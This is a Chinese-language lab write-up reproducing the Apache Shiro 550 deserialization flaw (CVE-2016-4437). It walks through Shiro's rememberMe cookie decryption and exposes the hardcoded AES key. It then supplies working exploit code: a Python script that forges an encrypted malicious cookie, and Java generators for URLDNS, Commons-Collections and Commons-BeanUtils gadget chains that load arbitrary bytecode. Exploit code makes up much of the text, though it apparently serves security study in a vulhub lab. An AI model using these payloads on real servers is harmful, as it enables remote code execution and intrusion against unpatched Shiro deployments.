漏洞复现环境:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
Tomcat: 9.0.109
jdk: 1.8.0_u65
漏洞靶场环境:
https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
docker compose up -d
漏洞分析
shiro550反序列化漏洞使用了固定key进行AES加解密,特征是请求响应中包含字段rememberMe,先查找对应方法,CookieRemembermeManager类中的getRememberedSerializedIdentity方法:
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
"servlet request and response in order to retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
查找调用getRememberedSerializedIdentity的方法,AbstractRemembermeManager类中的getRememberedPrincipals方法:
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
跟进convertBytesToPrincipals方法:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
跟进decrypt方法:
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
一直跟进+Find Usages找到加解密方式以及硬编码的key:
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
public DefaultBlockCipherService(String algorithmName) {
super(algorithmName);
this.modeName = OperationMode.CBC.name();
this.paddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
this.blockSize = DEFAULT_BLOCK_SIZE; //0 = use the JCA provider's default
this.streamingModeName = OperationMode.CBC.name();
this.streamingPaddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
this.streamingBlockSize = DEFAULT_STREAMING_BLOCK_SIZE;
}
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
byte[] encrypted = ciphertext;
//No IV, check if we need to read the IV from the stream:
byte[] iv = null;
if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.
//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:
int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;
//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);
//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}
return decrypt(encrypted, key, iv);
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
可以分析出解密过程:base64decode -> AESdecode -> deserialize,key为base64编码的kPH+bIxk5D2deZiIxcaaaA==,iv是密文开头内容所以不用设置,填充方式为PKCS5,生成恶意Cookie的exp:
import base64
import uuid
from Crypto.Cipher import AES
with open("ser.bin", "rb") as f:
data = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # PKCS5
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
print(ciphertext)
URLDNS
URLDNS所需依赖都是java内置类,URLDNS.java:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://d0otgz.dnslog.cn");
Field hashcode = url.getClass().getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url, 114514);
hashmap.put(url, 1);
hashcode.set(url, -1);
serialize(hashmap);
}
}

CC
由于shiro中不能加载数组类,所以需要拼接CC3,CC2,CC6:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
public class CC {
public static void main(String[] args) throws Exception {
// CC3
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _nameField = templatesImpl.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesImpl, "sxc");
Field _bytecodesField = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("path\\to\\Calc.class"));
byte[][] bytecodes = {bytecode};
_bytecodesField.set(templatesImpl, bytecodes);
// CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// CC6
HashMap<Object, Object> hashmap = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(hashmap, (new ConstantTransformer("1")));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templatesImpl);
HashMap<Object, Object> hm = new HashMap<>();
hm.put(tiedMapEntry, "258");
lazymap.remove(templatesImpl);
Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, invokerTransformer);
serialize(hm);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, ClassNotFoundException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CB
CB链:PriorityQueue.readObject -> BeanComparator.compare -> PropertyUtils.getProperty(TemplatesImpl, "outputProperties") -> TemplatesImpl.getOutputProperties -> defineTransletClasses.defineClass -> getTransletInstance中调用newInstance()
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
public class CB {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _nameField = templatesImpl.getClass().getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templatesImpl, "sxc");
Field _bytecodesField = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("path\\to\\Calc.class"));
byte[][] bytecodes = {bytecode};
_bytecodesField.set(templatesImpl, bytecodes);
// PropertyUtils.getProperty(templatesImpl, "outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templatesImpl);
priorityQueue.add(2);
Field comparatorField = priorityQueue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue, beanComparator);
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException, ClassNotFoundException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
参考资料:
https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437